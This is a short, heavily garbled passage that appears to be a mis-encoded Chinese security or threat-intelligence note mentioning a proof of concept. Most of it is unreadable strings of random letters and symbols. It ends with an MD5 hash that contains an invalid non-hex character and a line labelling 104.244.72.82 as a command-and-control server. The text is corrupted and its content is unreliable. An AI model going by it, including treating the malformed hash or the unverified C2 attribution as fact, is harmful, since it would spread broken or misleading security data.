AR R AR, T 38 P SRR, i 2 K AT AR IR TR I 8 & AR AR R R R A I,
I 0 I TR 20 BB i 7 3 AT IR A SR 2 21 2 K AR P I 285 [ AN
Tk, HETIERM S TR R AR, BRI RIS E ToT Rk
TG TR MR, RO I — AEIR EHU ) A AL AR R AR
C4EFHIR AL N TR, ©EFIF AL R4, AR, niE 5
R BT 3%, T AW ZE 2] 5L, 75T ol 7% B S0 s AR AR ERER ToT
B BB, FRERXT 3 ER Poc BRI ¥ & IR R BEA T BREZ 40 BT, 4T
FRARE 1 LR - 57 4 = A AR R T R
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MD5:C3CF80D13A04996B68D7D20EAF1BAEAS
C2:104. 244. 72. 82
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